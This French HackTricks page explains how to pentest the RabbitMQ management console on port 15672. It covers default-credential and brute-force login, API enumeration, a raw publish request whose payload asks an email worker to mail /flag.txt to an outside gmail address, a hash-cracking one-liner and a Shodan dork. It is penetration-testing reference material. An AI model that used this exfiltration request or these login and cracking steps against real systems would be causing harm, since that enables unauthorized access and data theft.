15672 - Pentesting RabbitMQ Management
Reading time: 2 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Vous pouvez en savoir plus sur RabbitMQ dans 5671,5672 - Pentesting AMQP.
Dans ce port, vous pouvez trouver la console web de gestion RabbitMQ si le plugin de gestion est activé.
La page principale devrait ressembler à ceci :
Énumération
Les identifiants par défaut sont "guest":"guest". S'ils ne fonctionnent pas, vous pouvez essayer de forcer le login par brute force.
Pour démarrer manuellement ce module, vous devez exécuter :
rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart
Une fois que vous vous êtes correctement authentifié, vous verrez la console d'administration :
De plus, si vous avez des identifiants valides, vous pourriez trouver intéressante l'information de http://localhost:15672/api/connections
Notez également qu'il est possible de publier des données dans une file d'attente en utilisant l'API de ce service avec une requête comme :
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
Craquer des Hash
echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist
Shodan
port:15672 http
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.